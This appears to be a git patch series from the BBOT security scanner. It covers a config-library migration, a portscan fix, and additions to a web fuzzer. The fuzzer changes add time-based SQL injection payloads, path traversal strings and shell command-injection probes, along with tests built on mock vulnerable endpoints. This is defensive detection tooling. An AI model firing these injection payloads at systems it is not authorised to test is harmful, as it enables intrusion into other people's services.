["nuclei"]}, validate_modules=False) + assert len(errs) == 1 + assert errs[0].where == "preset" + assert "modlues" in errs[0].message + + +def test_validate_preset_typo_in_config(): + errs = validate_preset({"config": {"scope": {"strct": True}}}, validate_modules=False) + assert len(errs) == 1 + assert errs[0].where == "config" + assert "strct" in errs[0].message + assert errs[0].path == "scope.strct" + + +def test_validate_preset_wrong_type(): + errs = validate_preset({"config": {"web": {"http_timeout": "not-a-number"}}}, validate_modules=False) + assert len(errs) == 1 + assert errs[0].where == "config" + assert errs[0].path == "web.http_timeout" + assert "integer" in errs[0].message + + +def test_validate_preset_unknown_module(): + errs = validate_preset({"modules": ["nucleii"]}) + assert any('Unknown module: "nucleii"' in str(e) for e in errs) + + +def test_validate_preset_multiple_errors(): + """A preset with several typos should produce errors for all of them, not just the first.""" + errs = validate_preset( + { + "modlues": ["x"], # typo in top-level key + "config": { + "scope": {"strct": True}, # typo in config section + "web": {"http_timeout": "bad"}, # wrong type + }, + }, + validate_modules=False, + ) + assert len(errs) >= 3 + messages = " ".join(str(e) for e in errs) + assert "modlues" in messages + assert "strct" in messages + assert "http_timeout" in messages + + +def test_validate_preset_non_dict(): + errs = validate_preset(["not a dict"]) + assert len(errs) == 1 + assert "dict" in errs[0].message diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 8bea4e2700..0a30fc0054 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -2,10 +2,10 @@ import asyncio import logging import pytest_asyncio -from omegaconf import OmegaConf from ...bbot_fixtures import * from bbot.scanner import Scanner +from bbot.core.config.merge import deep_update from bbot.core.helpers.misc import rand_string log = logging.getLogger("bbot.test.modules") @@ -28,7 +28,7 @@ def __init__( self, module_test_base, httpx_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys ): self.name = module_test_base.name - self.config = OmegaConf.merge(CORE.config, OmegaConf.create(module_test_base.config_overrides)) + self.config = deep_update(dict(CORE.config), dict(module_test_base.config_overrides)) self.caplog = caplog self.capsys = capsys @@ -51,7 +51,7 @@ def __init__( if module_type == "output": output_modules.append(module) elif module_type == "internal" and not module == "dnsresolve": - self.config = OmegaConf.merge(self.config, {module: True}) + self.config = deep_update(self.config, {module: True}) seeds = module_test_base.seeds or None diff --git a/pyproject.toml b/pyproject.toml index 3e2870e696..eee3165761 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -16,7 +16,6 @@ classifiers = [ ] dependencies = [ "pip", - "omegaconf>=2.3.0,<3", "psutil>=5.9.4,<8.0.0", "wordninja>=2.0.0,<3", "ansible-runner>=2.3.2,<3", @@ -43,6 +42,8 @@ dependencies = [ "httpx>=0.28.1,<1", "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", + "pydantic-settings>=2.6.0,<3", + "pyyaml>=6.0.0,<7", "radixtarget>=4.0.1,<5", "asndb>=1.0.4", "orjson>=3.10.12,<4", diff --git a/uv.lock b/uv.lock index b3704d0c43..6560425fc4 100644 --- a/uv.lock +++ b/uv.lock @@ -97,12 +97,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/a9/da/19512e72e9cf2b8e7e6345264baa6c7ac1bb0ab128eb19c73a58407c4566/ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893", size = 79758, upload-time = "2025-10-14T19:10:48.994Z" }, ] -[[package]] -name = "antlr4-python3-runtime" -version = "4.9.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/3e/38/7859ff46355f76f8d19459005ca000b6e7012f2f1ca597746cbcd1fbfe5e/antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b", size = 117034, upload-time = "2021-11-06T17:52:23.524Z" } - [[package]] name = "anyio" version = "4.12.1" @@ -205,14 +199,15 @@ dependencies = [ { name = "jinja2" }, { name = "lxml" }, { name = "mmh3" }, - { name = "omegaconf" }, { name = "orjson" }, { name = "pip" }, { name = "psutil" }, { name = "puremagic" }, { name = "pycryptodome" }, { name = "pydantic" }, + { name = "pydantic-settings" }, { name = "pyjwt" }, + { name = "pyyaml" }, { name = "pyzmq" }, { name = "radixtarget" }, { name = "regex" }, @@ -267,7 +262,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, + { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, @@ -276,14 +271,15 @@ requires-dist = [ { name = "jinja2", specifier = ">=3.1.3,<4" }, { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, { name = "mmh3", specifier = ">=4.1,<6.0" }, - { name = "omegaconf", specifier = ">=2.3.0,<3" }, { name = "orjson", specifier = ">=3.10.12,<4" }, { name = "pip" }, { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, { name = "puremagic", specifier = ">=1.28,<2" }, { name = "pycryptodome", specifier = ">=3.17,<4" }, { name = "pydantic", specifier = ">=2.12.2,<3" }, + { name = "pydantic-settings", specifier = ">=2.6.0,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, + { name = "pyyaml", specifier = ">=6.0.0,<7" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, { name = "radixtarget", specifier = ">=4.0.1,<5" }, { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, @@ -305,7 +301,7 @@ dev = [ { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, - { name = "pytest-asyncio", specifier = "==1.2.0" }, + { name = "pytest-asyncio", specifier = "==1.3.0" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" }, @@ -1673,19 +1669,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" }, ] -[[package]] -name = "omegaconf" -version = "2.3.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "antlr4-python3-runtime" }, - { name = "pyyaml" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/09/48/6388f1bb9da707110532cb70ec4d2822858ddfb44f1cdf1233c20a80ea4b/omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7", size = 3298120, upload-time = "2022-12-08T20:59:22.753Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e3/94/1843518e420fa3ed6919835845df698c7e27e183cb997394e4a670973a65/omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b", size = 79500, upload-time = "2022-12-08T20:59:19.686Z" }, -] - [[package]] name = "orderly-set" version = "5.5.0" @@ -2090,6 +2073,20 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, ] +[[package]] +name = "pydantic-settings" +version = "2.14.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "python-dotenv" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/98/c8345dccdc31de4228c039a98f6467a941e39558da41c1744fbe29fa5666/pydantic_settings-2.14.0.tar.gz", hash = "sha256:24285fd4b0e0c06507dd9fdfd331ee23794305352aaec8fc4eb92d4047aeb67d", size = 235709, upload-time = "2026-04-20T13:37:40.293Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/dd/bebff3040138f00ae8a102d426b27349b9a49acc310fcae7f92112d867e3/pydantic_settings-2.14.0-py3-none-any.whl", hash = "sha256:fc8d5d692eb7092e43c8647c1c35a3ecd00e040fcf02ed86f4cb5458ca62182e", size = 60940, upload-time = "2026-04-20T13:37:38.586Z" }, +] + [[package]] name = "pygments" version = "2.19.2" @@ -2150,16 +2147,16 @@ wheels = [ [[package]] name = "pytest-asyncio" -version = "1.2.0" +version = "1.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, { name = "pytest" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/42/86/9e3c5f48f7b7b638b216e4b9e645f54d199d7abbbab7a64a13b4e12ba10f/pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57", size = 50119, upload-time = "2025-09-12T07:33:53.816Z" } +sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size = 50087, upload-time = "2025-11-10T16:07:47.256Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/04/93/2fa34714b7a4ae72f2f8dad66ba17dd9a2c793220719e736dda28b7aec27/pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99", size = 15095, upload-time = "2025-09-12T07:33:52.639Z" }, + { url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" }, ] [[package]] @@ -2276,6 +2273,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, ] +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + [[package]] name = "python-whois" version = "0.9.6" From dfcf17b1cc5fe92d1590452bd68a9381e11f0ba1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 13:52:52 -0400 Subject: [PATCH 544/912] Fix portscan ping_first losing hostname correlation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ping event created in emit_open_port was being fed straight into the SYN-scan make_targets() call, but dnsresolve hadn't yet populated its resolved_hosts (emit_event is async). Hostnames silently dropped out of the SYN correlator, so ports found on shared IPs only propagated to IP-range parents — OPEN_TCP_PORT events for hostnames were intermittently missing. --- bbot/modules/portscan.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index c4897d507b..2ae8f09175 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -224,6 +224,12 @@ async def emit_open_port(self, ip, port, parent_event): context=f"{{module}} executed a {scan_type} scan against {parent_event.data} and found: {{event.type}}: {{event.pretty_string}}", ) + # In ping_first mode, this event gets reused immediately in the SYN + # make_targets() call — before dnsresolve has populated it. Seed + # resolved_hosts from the parent so hostnames still correlate to IPs. + if parent_is_dns_name and parent_event._resolved_hosts: + event._resolved_hosts = set(parent_event._resolved_hosts) + await self.emit_event(event) return event From 03d71d2e27d3a937d0c391d30bc99e0658d1ea52 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 23 Apr 2026 13:56:07 -0400 Subject: [PATCH 545/912] fix docs pipeline --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 73d7155190..52277730a3 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -241,7 +241,7 @@ jobs: - name: Install uv uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: uv sync --only-group docs + run: uv sync --frozen --only-group docs - name: Configure Git run: | git config user.name github-actions From afc7640945fe4bcd89e23999249daf0daf495ae6 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 23 Apr 2026 13:57:11 -0400 Subject: [PATCH 546/912] update docs --- docs/scanning/tips_and_tricks.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index 2e75b2efbf..80e0e505c8 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -49,7 +49,7 @@ bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS engine (blastdns) spins up ten workers per resolver, so more resolvers = more parallelism = faster scans. -For OSINT, it's critical that every resolver is **unfiltered** -- filtering resolvers silently hide domains, which defeats the purpose. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: +For OSINT, it's critical that every resolver is **unfiltered**. Specialized resolvers that try to block ads, malicious domains, etc. will intentionally omit results. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: ```conf --8<-- "docs/data/resolv-sample.conf" From b4fb2b7f5e46ad5b300e239adbf243ac85f0d295 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 21:07:38 -0400 Subject: [PATCH 547/912] Lightfuzz FN-hunt round 1: sqli, path, cmdi MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sqli: fix missing-comma bug that concatenated Oracle+MSSQL probes into one malformed string. Add one-shot row-independent SLEEP payloads (`' OR SLEEP(N) IS NOT NULL LIMIT 1-- -`) so blind sqli against non-matching rows still delays predictably. path: add simple `./X` / `../X` probes for stacks that walk paths via the OS (Python open(), Go os.Open, Rust File::open) rather than string-normalizing first. The existing `./a/../X` variants require the intermediate `a/` to exist on disk; the new variants don't. cmdi: three-stage cascade per delimiter — generic echo canary, then POSIX arith `echo \$((A*B))`, then Windows `set /A A*B`. When an arith probe confirms execution, upgrade to HIGH confidence. When only the generic probe fires (no shell confirmation), emit a separate "Possible Parameter Reflection" finding rather than overclaiming cmdi. Preserves the adjacent-vuln reflection signal without mislabeling it. tests: add save-point tests for each new detection path, and bring the rand_string mocks into compliance with numeric_only=True so the new arith code doesn't crash on mocked values. --- bbot/modules/lightfuzz/submodules/cmdi.py | 145 +++++-- bbot/modules/lightfuzz/submodules/path.py | 19 +- bbot/modules/lightfuzz/submodules/sqli.py | 23 +- .../module_tests/test_module_lightfuzz.py | 363 ++++++++++++++++-- 4 files changed, 495 insertions(+), 55 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index dcc3d3a481..3d4f18454c 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -15,6 +15,22 @@ class cmdi(BaseLightfuzz): - Checks if the echoed canary appears in the response without the "echo" itself - Uses a false positive probe to validate findings + * Arithmetic Canary Detection (confirmation cascade): + - When an echo canary match is found, two follow-up probes try to prove + the response was generated by real command execution rather than + textual reflection of probe bytes: + - `echo $((A*B))` — POSIX arithmetic expansion (bash/sh/dash/zsh/ksh) + - `set /A A*B` — Windows cmd.exe native arithmetic + The product A*B never appears in either probe's literal bytes, so + parser-error or template reflections cannot produce it. A match + upgrades the finding to HIGH confidence and labels the shell family. + - If neither arithmetic probe confirms execution, the generic match + is emitted as a "Possible Parameter Reflection" finding (LOW severity) + instead of a cmdi finding — this is honest about what we observed + (the value is reflected into the response) while still surfacing the + endpoint for triage, since reflected values often point at adjacent + vulns the other submodules missed (e.g. SQLi). + * Blind Command Injection: - Injects nslookup commands with unique subdomain tags - Detects command execution through DNS resolution via Interactsh @@ -30,6 +46,12 @@ async def fuzz(self): probe_value = self.incoming_probe_value() canary = self.lightfuzz.helpers.rand_string(10, numeric_only=True) + # Arithmetic canary: the multiplicands are in the probe, but their + # product is NOT — so a response containing the product is evidence + # of arithmetic expansion performed by a real shell. + arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_canary = str(int(arith_a) * int(arith_b)) http_compare = self.compare_baseline( self.event.data["type"], probe_value, cookies ) # Initialize the http_compare object and establish a baseline HTTP response @@ -43,41 +65,92 @@ async def fuzz(self): "|", ] - positive_detections = [] + linux_detections = [] # POSIX arithmetic canary matched → HIGH + windows_detections = [] # cmd.exe arithmetic canary matched → HIGH + reflection_detections = [] # generic matched but neither shell proved execution for p in cmdi_probe_strings: try: - # add "echo" to the cmdi probe value to construct the command to be executed - echo_probe = f"{probe_value}{p} echo {canary} {p}" - # we have to handle our own URL-encoding here, because our payloads include the & character + generic_probe_str = f"{probe_value}{p} echo {canary} {p}" if self.event.data["type"] == "GETPARAM": - echo_probe = urllib.parse.quote(echo_probe.encode(), safe="") + generic_probe_str = urllib.parse.quote(generic_probe_str.encode(), safe="") + + generic_probe = await self.compare_probe( + http_compare, self.event.data["type"], generic_probe_str, cookies, skip_urlencoding=True + ) - # send cmdi probe and compare with baseline response - cmdi_probe = await self.compare_probe( - http_compare, self.event.data["type"], echo_probe, cookies, skip_urlencoding=True + generic_match = ( + generic_probe[3] is not None + and canary in generic_probe[3].text + and "echo" not in generic_probe[3].text ) + if not generic_match: + continue + if p == "AAAA": + self.warning( + f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection" + ) + return - # ensure we received an HTTP response - if cmdi_probe[3]: - # check if the canary is in the response and the word "echo" is NOT in the response text, ruling out mere reflection of the entire probe value without execution - if canary in cmdi_probe[3].text and "echo" not in cmdi_probe[3].text: - self.debug(f"canary [{canary}] found in response when sending probe [{p}]") - if p == "AAAA": # Handle detection false positive probe - self.warning( - f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection" - ) - return - positive_detections.append(p) # Add detected probes to positive detections + # Cascade: try POSIX arithmetic first, then Windows cmd + # arithmetic. The product value is never in either probe + # literal, so only real shell execution can place it in the + # response. Either confirmation upgrades to HIGH. + linux_match = await self._arith_confirm( + http_compare, + cookies, + f"{probe_value}{p} echo $(({arith_a}*{arith_b})) {p}", + arith_canary, + p, + "linux", + ) + if linux_match: + linux_detections.append(p) + continue + windows_match = await self._arith_confirm( + http_compare, + cookies, + f"{probe_value}{p} set /A {arith_a}*{arith_b} {p}", + arith_canary, + p, + "windows", + ) + if windows_match: + windows_detections.append(p) + continue + # Generic fired, neither shell confirmed — reflection. + reflection_detections.append(p) + self.debug( + f"echo canary reflected without arithmetic confirmation for [{p}] — " + f"treating as parameter reflection, not cmdi" + ) except HttpCompareError as e: self.debug(e) continue - if len(positive_detections) > 0: + if linux_detections: + self.results.append( + { + "name": "Possible Command Injection", + "severity": "CRITICAL", + "confidence": "HIGH", + "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [{' '.join(linux_detections)}]", + } + ) + if windows_detections: self.results.append( { "name": "Possible Command Injection", "severity": "CRITICAL", - "confidence": "MEDIUM", - "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", + "confidence": "HIGH", + "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (cmd)] CMD Probe Delimeters: [{' '.join(windows_detections)}]", + } + ) + if reflection_detections: + self.results.append( + { + "name": "Possible Parameter Reflection", + "severity": "LOW", + "confidence": "LOW", + "description": f"Parameter value reflected without confirmed shell execution. May indicate adjacent reflection-based vulns. {self.metadata()} Detection Method: [echo canary, no shell confirmation] CMD Probe Delimeters: [{' '.join(reflection_detections)}]", } ) @@ -107,3 +180,31 @@ async def fuzz(self): timeout=15, skip_urlencoding=True, ) + + async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim, shell_label): + """Send a shell-arithmetic confirmation probe and return True iff the + expected product value appears in the response (and the word `echo` + does not, ruling out bulk reflection).""" + if self.event.data["type"] == "GETPARAM": + probe_str = urllib.parse.quote(probe_str.encode(), safe="") + try: + probe = await self.compare_probe( + http_compare, + self.event.data["type"], + probe_str, + cookies, + skip_urlencoding=True, + ) + except HttpCompareError as e: + self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") + return False + matched = ( + probe[3] is not None + and expected in probe[3].text + and "echo" not in probe[3].text + ) + if matched: + self.debug( + f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]" + ) + return matched diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b3bda83596..fcd67ff940 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -34,8 +34,25 @@ async def fuzz(self): ) return - # Single dot traversal tolerance test + # Single dot traversal tolerance test. + # The `a/../` variants require the intermediate dummy path component to + # exist during OS path walking (works for frameworks that string-normalize + # before open(), like PHP include). The `simple` variants omit the dummy + # component so they also trigger against stacks that pass paths raw to + # the kernel (Python open(), Go os.Open, Rust File::open, etc.). path_techniques = { + "single-dot traversal tolerance (simple, no-encoding)": { + "singledot_payload": f"./{probe_value}", + "doubledot_payload": f"../{probe_value}", + }, + "single-dot traversal tolerance (simple, leading slash)": { + "singledot_payload": f"/./{probe_value}", + "doubledot_payload": f"/../{probe_value}", + }, + "single-dot traversal tolerance (simple, url-encoding)": { + "singledot_payload": quote(f"./{probe_value}".encode(), safe=""), + "doubledot_payload": quote(f"../{probe_value}".encode(), safe=""), + }, "single-dot traversal tolerance (no-encoding)": { "singledot_payload": f"./a/../{probe_value}", "doubledot_payload": f"../a/../{probe_value}", diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 1e85af3289..6c57b15423 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -214,12 +214,25 @@ async def fuzz(self): except HttpCompareError as e: self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") - # These are common SQL injection payloads for inducing an intentional delay across several different SQL database types + # Time-based blind SQLi payloads across DB families. Each probe is engineered + # to fire its delay exactly once so the measured elapsed time stays close to + # self.expected_delay regardless of table row count. Row-independent variants + # use `IS NOT NULL` (since SLEEP returns 0 — not NULL) combined with `LIMIT 1` + # to force a single match on the first row scanned. standard_probe_strings = [ - f"'||pg_sleep({str(self.expected_delay)})--", # postgres - f"1' AND (SLEEP({str(self.expected_delay)})) AND '", # mysql - f"' AND (SELECT FROM DBMS_LOCK.SLEEP({str(self.expected_delay)})) AND '1'='1" # oracle (not tested) - f"; WAITFOR DELAY '00:00:{str(self.expected_delay)}'--", # mssql (not tested) + # postgres + f"'||pg_sleep({self.expected_delay})--", + f"' OR (SELECT TRUE FROM pg_sleep({self.expected_delay})) LIMIT 1-- -", + # mysql (row-dependent; fires once when original_value matches a row) + f"1' AND (SLEEP({self.expected_delay})) AND '", + # mysql (row-independent; one SLEEP, exits on first row via LIMIT 1) + f"' OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", + f" OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", + # oracle (DUAL is single-row so DBMS_LOCK.SLEEP fires once) + f"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({self.expected_delay})=0) AND '1'='1", + # mssql (stacked query, fires once) + f"'; WAITFOR DELAY '00:00:{self.expected_delay}'--", + f"; WAITFOR DELAY '00:00:{self.expected_delay}'--", ] baseline_1 = await self.standard_probe( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4eb9e0bf21..691b0a1ec0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -71,6 +71,61 @@ def check(self, module_test, events): assert pathtraversal_finding_emitted, "Path Traversal single dot tolerance FINDING not emitted" +# Path Traversal single-dot tolerance, strict path resolver (Python/Go/Rust style) +# Simulates a server that opens files via a raw OS path walk rather than by +# string-normalizing first (as PHP include() does). Only the "simple" dot probes +# — `./X` and `/./X` — resolve cleanly; the `a/../X` variants fail on the missing +# `a/` component. Guards against regression of the simple-probe coverage path +# that was previously missed on non-PHP stacks. +class Test_Lightfuzz_path_singledot_strict(Test_Lightfuzz_path_singledot): + def request_handler(self, request): + qs = str(request.query_string.decode()) + if "filename=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + block = """ + + + + """ + # Only exact-file or simple-dot-prefixed reads succeed. Any path + # containing `a/../` fails because `a/` does not exist, mirroring + # Python's open() / Go's os.Open behavior on the filesystem. + if value in ( + "default.jpg", + "./default.jpg", + "/./default.jpg", + "%2E%2Fdefault.jpg", + ): + return Response(block, status=200) + return Response("file not found", status=500) + + def check(self, module_test, events): + web_parameter_emitted = False + simple_pathtraversal_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [filename]" in e.data["description"]: + web_parameter_emitted = True + + if e.type == "FINDING": + desc = e.data["description"] + if ( + "POSSIBLE Path Traversal" in desc + and "Parameter: [filename]" in desc + and "single-dot traversal tolerance (simple" in desc + ): + simple_pathtraversal_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert simple_pathtraversal_finding_emitted, ( + "Simple single-dot path traversal FINDING not emitted — " + "strict-resolver detection regression." + ) + + # Path Traversal Absolute path class Test_Lightfuzz_path_absolute(Test_Lightfuzz_path_singledot): etc_passwd = """ @@ -208,7 +263,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -517,7 +574,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) expect_args = re.compile("/otherpage.php") @@ -576,7 +635,9 @@ def request_handler(self, request): return Response(self.parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) expect_args = re.compile("/otherpage.php") @@ -688,7 +749,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -756,7 +819,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, 